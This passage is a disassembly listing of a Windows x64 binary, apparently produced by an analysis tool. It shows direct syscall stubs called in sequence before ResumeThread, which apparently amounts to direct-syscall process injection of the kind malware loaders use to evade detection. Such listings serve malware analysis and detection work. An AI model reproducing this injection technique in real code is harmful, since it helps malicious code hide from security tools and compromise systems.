mov qword [rsp + 0x20], rsi
call fcn.14000126b
lea rax, [rbp + 0x67]
mov rcx, rbx
lea r9d, [rsi + 0x40]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x77]
lea rdx, [rbp + 0x6f]
call fcn.140001276
mov rdx, qword [rbp + 0x6f]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call fcn.140001281
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
jmp 0x140001242
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x118]
add rsp, 0xe0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001260
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x18
syscall
ret

Function at 0x14000126b
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x3a
syscall
ret

Function at 0x140001276
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x50
syscall
ret

Function at 0x140001281
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x45
syscall
ret